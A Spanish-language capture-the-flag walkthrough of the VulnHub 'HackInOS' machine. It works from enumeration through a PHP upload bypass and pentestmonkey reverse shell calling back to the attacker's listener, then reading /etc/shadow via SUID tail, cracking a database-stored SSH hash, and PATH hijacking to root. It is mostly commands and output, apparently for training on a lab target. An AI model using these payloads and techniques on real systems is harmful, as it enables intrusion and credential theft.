La máquina en cuestión se encuentra publicada en la pagina de vulnhub.com, el enlace de descarga es el siguiente:
https://www.vulnhub.com/entry/hackinos-1,295/
Enumeración
Con un primer escaneo encontramos los puertos 22 y 8000 abiertos:
root@kali:~# nmap -p- 172.31.255.112 Starting Nmap 7.70SVN ( https://nmap.org ) at 2019-03-12 21:41 CET Nmap scan report for 172.31.255.112 Host is up (0.00010s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 8000/tcp open http-alt MAC Address: 08:00:27:20:A9:BC (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 4.65 seconds
Con la opción -A de nmap detectamos el fichero upload.php y el directorio uploads:
root@kali:~# nmap -A 172.31.255.112 Starting Nmap 7.70SVN ( https://nmap.org ) at 2019-03-12 21:41 CET Nmap scan report for 172.31.255.112 Host is up (0.00056s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0) 8000/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-generator: WordPress 5.0.3 |_http-open-proxy: Proxy might be redirecting requests | http-robots.txt: 2 disallowed entries |_/upload.php /uploads |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Blog – Just another WordPress site MAC Address: 08:00:27:20:A9:BC (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.56 ms 172.31.255.112 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.68 seconds
Si accedemos vía web a upload.php, nos encontramos con un formulario para poder subir una imagen:
Si examinamos el código fuente de la página encontramos una URL hacia un repositorio de github:
root@kali:/usr/local/src/Osmedeus# curl http://172.31.255.112:8000/upload.php
<!DOCTYPE html>
<html>
<body>
<div align="center">
<form action="" method="post" enctype="multipart/form-data">
<br>
<b>Select image : </b>
<input type="file" name="file" id="file" style="border: solid;">
<input type="submit" value="Submit" name="submit">
</form>
</div>
<!-- https://github.com/fatihhcelik/Vulnerable-Machine---Hint -->
</body>
</html>
La url del github nos lleva hacia el codigo fuente del upload.php:
Sandboxing con Docker
Ahora que tenemos el código fuente lo vamos a ejecutar en un docker en local para comprobar su comportamiento:
~/docker# cat Dockerfile FROM debian:9 RUN apt-get update && apt-get -y install apache2 php EXPOSE 80:80 ADD https://raw.githubusercontent.com/fatihhcelik/Vulnerable-Machine---Hint/master/upload.php /var/www/html/ RUN mkdir /var/www/html/uploads && chown www-data:www-data -R /var/www/html/ CMD ["bash"]
En el mismo directorio que hemos creado el Dockerfile, ejecutaremos el siguiente comando para poder crear una imagen:
docker build -t hackinios .
Levantamos el container a partir de la imagen que hemos creado anteriormente:
docker run -itd --name hackinios --hostname hackinios hackinios
Nos conectamos al container y levantamos el apache:
~/docker# docker exec -it hackinios bash root@hackinios:/# /etc/init.d/apache2 start
Para poder extraer la ip del container:
# docker inspect hackinios | grep IPAddress
WARNING: Error loading config file: /root/.docker/config.json: read /root/.docker/config.json: is a directory
"SecondaryIPAddresses": null,
"IPAddress": "172.17.0.3",
"IPAddress": "172.17.0.3",
Ahora accedemos vía web al docker, y probamos de subir una imagen png. Una vez subido el archivo, nos aparecerá un mensaje «File uploaded /uploads/?»:
Veremos aparecer el archivo en cuestión en el directorio de uploads:
root@hackinios:/var/www/html/uploads# ls e1bcd3d4f779348f54702c4e20c400af.png
Vamos a añadir una nueva variable dentro del fichero upload.php para mostrarnos más información:
$file_name2 = basename($_FILES["file"]["name"].$rand_number);
Ahora si subimos vía web un archivo png, podemos ver que utiliza el nombre del fichero y a continuación un número random del 1 al 100 para realizar el hash:
Para poder sacar este hash por bash, ejecutamos el siguiente comando:
$ echo -n dc.png65 | md5sum | awk {'print $1'} 3ee15fb3d03541ba72f445cf59e67f4d
Si accedemos al directorio uploads encontramos el fichero con la extensión .png:
Para poder encontrar el fichero una vez subido, vamos a crear el siguiente script:
#!/bin/bash IP=172.17.0.3 for i in {1..100}; do FILE=`echo -n dc.png$i | md5sum | awk {'print $1'}` echo "$i" echo "$FILE" echo "http://$IP/uploads/$FILE.png" curl -I http://$IP/uploads/$FILE.png echo "------------------------------------" done
Lo ejecutamos y el resultado lo enviamos a un fichero, dentro de este buscamos «200»:
./script.sh > /tmp/result ------------------------------------ 65 3ee15fb3d03541ba72f445cf59e67f4d http://172.17.0.3/uploads/3ee15fb3d03541ba72f445cf59e67f4d.png HTTP/1.1 200 OK Date: Fri, 22 Mar 2019 12:42:39 GMT Server: Apache/2.4.25 (Debian) Last-Modified: Thu, 21 Mar 2019 18:43:15 GMT ETag: "74eb-5849f1c6d7f17" Accept-Ranges: bytes Content-Length: 29931 Content-Type: image/png
Reverse shell
Ahora volvemos a la maquina victima, subiremos una reverse shell por PHP, primeramente ponemos a escuchar nuestro Kali por el puerto 8085:
nc -vlp 8085
Nos descargamos la siguiente shell:
wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz -O /tmp/php-reverse-shell-1.0.tar.gz tar -xvzf /tmp/php-reverse-shell-1.0.tar.gz vi /tmp/php-reverse-shell-1.0/php-reverse-shell.php
Tendremos que relizar dos cambios:
- Añadir «GIF89a;» antes de la apertura del código «<?php» .
- Configurar la IP de nuestro Kali y el puerto por donde escuchará el servidor de netcat, en nuestro caso el 8085.
Ejemplo de las modificaciones a realizar:
GIF89a; <?php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 [email protected] // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. The author accepts no liability // for damage caused by this tool. If these terms are not acceptable to you, then // do not use this tool. // // In all other respects the GPL version 2 applies: // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License version 2 as // published by the Free Software Foundation. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License along // with this program; if not, write to the Free Software Foundation, Inc., // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. If these terms are not acceptable to // you, then do not use this tool. // // You are encouraged to send comments, improvements or suggestions to // me at [email protected] // // Description // ----------- // This script will make an outbound TCP connection to a hardcoded IP and port. // The recipient will be given a shell running as the current user (apache normally). // // Limitations // ----------- // proc_open and stream_set_blocking require PHP version 4.3+, or 5+ // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows. // Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available. // // Usage // ----- // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck. set_time_limit (0); $VERSION = "1.0"; $ip = '172.31.255.129'; // CHANGE THIS $port = 8085; // CHANGE THIS ................. resultado omitido
Una vez tengamos el archivo modificado, vamos a configurar Burp Suite para que haga de proxy y poder interceptar el fichero de antes de enviarlo a la maquina victima. El funcionamiento es el siguiente:
Para configurar burp suite:
Proxy -> Options -> Add
Habilitamos la intercepción del tráfico, esta opción nos permite retener todas las peticiones, para reenviarlas al servidor de destino tenemos que hacer click en Forward:
Vamos a cambiar el nombre de la shell que hemos modificado anteriormente:
cp /tmp/php-reverse-shell-1.0/php-reverse-shell.php /tmp/back.php
También lo editaremos en nuestro script:
#!/bin/bash IP=172.31.255.112:8000 for i in {1..100}; do FILE=`echo -n back.php$i | md5sum | awk {'print $1'}` echo "$i" echo "$FILE" echo "http://$IP/uploads/$FILE.php" curl -I http://$IP/uploads/$FILE.php echo "------------------------------------" done
Desde nuestro Kali, nos conectamos a la URL de proxy y subimos el archivo back.php:
Una vez interceptada la petición HTTP modificamos el Content-Type del archivo:
Por «image/png», una vez realizada la modificación hacemos click en forward:
Inmediatamente después lanzamos nuestro script y veremos que recibimos un input en la sesión de netcat de nuestro Kali:
root@kali:~# nc -vlp 8085 listening on [any] 8085 ... connect to [172.31.255.129] from localhost [172.31.255.112] 33786 Linux 1afdd1f6b82c 4.15.0-46-generic #49~16.04.1-Ubuntu SMP Tue Feb 12 17:45:24 UTC 2019 x86_64 GNU/Linux 10:50:16 up 16 min, 0 users, load average: 0.16, 0.06, 0.08 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
Examinando los procesos que se están ejecutando encontramos un script que elimina los archivos php:
$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 2.7 388000 27072 ? Ss 10:33 0:00 apache2 -DFOREGROUND
root 77 0.0 0.2 17964 2816 ? Ss 10:33 0:00 /bin/bash /etc/init.d/delete.sh
www-data 94 0.0 1.6 388472 16524 ? S 10:33 0:00 apache2 -DFOREGROUND
www-data 95 0.0 3.2 464988 32364 ? S 10:33 0:00 apache2 -DFOREGROUND
www-data 96 0.0 3.5 464996 35408 ? S 10:33 0:00 apache2 -DFOREGROUND
www-data 97 0.0 1.7 388276 17180 ? S 10:33 0:00 apache2 -DFOREGROUND
www-data 98 0.0 1.8 388472 17996 ? S 10:33 0:00 apache2 -DFOREGROUND
www-data 107 0.0 1.6 388472 15920 ? S 10:48 0:00 apache2 -DFOREGROUND
www-data 108 0.0 0.0 4292 760 ? S 10:50 0:00 sh -c uname -a; w; id; /bin/sh -i
www-data 112 0.0 0.0 4292 788 ? S 10:50 0:00 /bin/sh -i
root 121 0.0 0.0 4200 708 ? S 10:58 0:00 sleep 300
www-data 122 0.0 0.2 36640 2788 ? R 10:59 0:00 ps aux
$ cat /etc/init.d/delete.sh
#!/bin/bash
while [ 1 ]
do
rm -rf /var/www/html/uploads/*.php
sleep 300
done
Si echamos un vistazo los archivos ya subidos, nos encontramos que el archivo php ya ha sido eliminado. Pero el proceso de la reserve shell se ha quedado ejecutándose en memoria, por ese motivo seguimos conectados:
ls /var/www/html/uploads 16a94d7bdc9619fe97531ed8f99e7d5e.png 70b6f4ccb51b2797fbc036fa50adcbf1.png 7972ef5808a097e78636aa4d9fbdbcd5.png 86799f84056fa88c1d2b3347c294c9fd.php a339ee1ff76b5e3e89089fc15294288b.png a97124a3920dbe7401e125c36292f794.png b2bd67014831775a508edddf595d22e3.png
El rango de red del equipo es el que se utiliza por defecto para los Dockers:
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.18.0.2 netmask 255.255.0.0 broadcast 172.18.255.255
ether 02:42:ac:12:00:02 txqueuelen 0 (Ethernet)
RX packets 4069 bytes 400904 (391.5 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3173 bytes 285214 (278.5 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
A nivel de arp vemos mas containers dentro de la red, en concreto dos más a parte del default gateway:
$ arp -an ? (172.18.0.3) at 02:42:ac:12:00:03 [ether] on eth0 ? (172.18.0.1) at 02:42:7f:62:28:ba [ether] on eth0 ? (172.18.0.4) at 02:42:ac:12:00:04 [ether] on eth0
Buscamos archivos con el suid modificado y encontramos tail:
$ find / -perm -u=s -type f 2>/dev/null /usr/bin/chsh /usr/bin/gpasswd /usr/bin/passwd /usr/bin/newgrp /usr/bin/tail /usr/bin/chfn /bin/mount /bin/umount /bin/su $ ls -liath /usr/bin/tail 170237 -rwsr-xr-x 1 root root 67K Feb 22 2017 /usr/bin/tail
Listamos el shadow con éxito:
tail -n 100 /etc/shadow root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:17951:0:99999:7::: daemon:*:17931:0:99999:7::: bin:*:17931:0:99999:7::: sys:*:17931:0:99999:7::: sync:*:17931:0:99999:7::: games:*:17931:0:99999:7::: man:*:17931:0:99999:7::: lp:*:17931:0:99999:7::: mail:*:17931:0:99999:7::: news:*:17931:0:99999:7::: uucp:*:17931:0:99999:7::: proxy:*:17931:0:99999:7::: www-data:*:17931:0:99999:7::: backup:*:17931:0:99999:7::: list:*:17931:0:99999:7::: irc:*:17931:0:99999:7::: gnats:*:17931:0:99999:7::: nobody:*:17931:0:99999:7::: _apt:*:17931:0:99999:7:::
Acceso a la BDD
La BDD se encuentra en otro container en concreto con la IP 172.18.0.3:
$ cat wp-config.php | grep DB
define('DB_NAME', 'wordpress');
define('DB_USER', 'wordpress');
define('DB_PASSWORD', 'wordpress');
define('DB_HOST', 'db:3306');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');
$ ping db PING db (172.18.0.3) 56(84) bytes of data. 64 bytes from experimental_db_1.experimental_default (172.18.0.3): icmp_seq=1 ttl=64 time=0.062 ms
Abrimos una shell con python y nos conectamos a la bdd remota:
python -c 'import pty;pty.spawn("/bin/bash")' www-data@1afdd1f6b82c:/$ mysql -h db -u wordpress -p wordpress mysql -h db -u wordpress -p wordpress Enter password: wordpress Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Welcome to the MariaDB monitor. Commands end with ; or \g. Your MySQL connection id is 17 Server version: 5.7.25 MySQL Community Server (GPL) Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MySQL [wordpress]>
Dentro de la BDD de wordpress encontramos una tabla con las credenciales de SSH:
MySQL [wordpress]> show tables;
show tables;
+-----------------------+
| Tables_in_wordpress |
+-----------------------+
| host_ssh_cred |
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+
13 rows in set (0.00 sec)
MySQL [wordpress]> select * from host_ssh_cred; select * from host_ssh_cred; +-------------------+----------------------------------+ | id | pw | +-------------------+----------------------------------+ | hummingbirdscyber | e10adc3949ba59abbe56e057f20f883e | +-------------------+----------------------------------+ 1 row in set (0.02 sec)
El password que hemos encontrado es un hash md5:
root@kali:/tmp# hashid e10adc3949ba59abbe56e057f20f883e
Analyzing 'e10adc3949ba59abbe56e057f20f883e'
[+] MD2
[+] MD5
[+] MD4
[+] Double MD5
[+] LM
[+] RIPEMD-128
Utilizamos john ripper para desencriptar el hash:
root@kali:/tmp# echo e10adc3949ba59abbe56e057f20f883e > hash.txt
root@kali:/tmp# john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
123456 (?)
1g 0:00:00:00 DONE (2019-03-17 23:12) 100.0g/s 1200p/s 1200c/s 1200C/s 123456..daniel
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Ya tenemos acceso con el usuario hummingbirdscyber y las credenciales 123456 contra la maquina 172.31.255.112:
root@kali:/tmp# ssh [email protected] [email protected]'s password: Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.15.0-46-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 104 packages can be updated. 0 updates are security updates. Last login: Fri Mar 1 23:58:08 2019 from 192.168.1.31 hummingbirdscyber@vulnvm:~$
Escalar privilegios
Lo primero que verificaremos son los permisos de sudo del usuario:
hummingbirdscyber@vulnvm:~$ sudo -l [sudo] password for hummingbirdscyber: Sorry, user hummingbirdscyber may not run sudo on vulnvm.
Buscamos ficheros con permisos SUID:
hummingbirdscyber@vulnvm:~$ find / -perm -u=s -type f 2>/dev/null
/home/hummingbirdscyber/Desktop/a.out
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/xorg/Xorg.wrap
/usr/sbin/pppd
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/pkexec
/bin/mount
/bin/ping6
/bin/ntfs-3g
/bin/umount
/bin/su
/bin/fusermount
/bin/ping
Encontramos el siguiente fichero a.out:
hummingbirdscyber@vulnvm:~$ ls -liath /home/hummingbirdscyber/Desktop/a.out
543355 -rwsr-xr-x 1 root root 8,6K Mar 1 23:25 /home/hummingbirdscyber/Desktop/a.out
Si analizamos el contenido del fichero vemos que ejecuta el comando whoami y sin el path absoluto:
hummingbirdscyber@vulnvm:~$ strings /home/hummingbirdscyber/Desktop/a.out
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
system
setgid
__libc_start_main
__gmon_start__
GLIBC_2.2.5
UH-H
AWAVA
AUATL
[]A\A]A^A_
whoami
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.10) 5.4.0 20160609
Vamos a modificar el path de búsqueda para que ejecute el binario /bin/bash como root:
cd Desktop/ ln -s /bin/bash whoami export PATH="/home/hummingbirdscyber/Desktop"
Ejecutamos el script:
Volvemos a modificar el PATH de búsqueda:
Ahora ya podemos acceder al directorio root para encontrar la bandera:
Deja una respuesta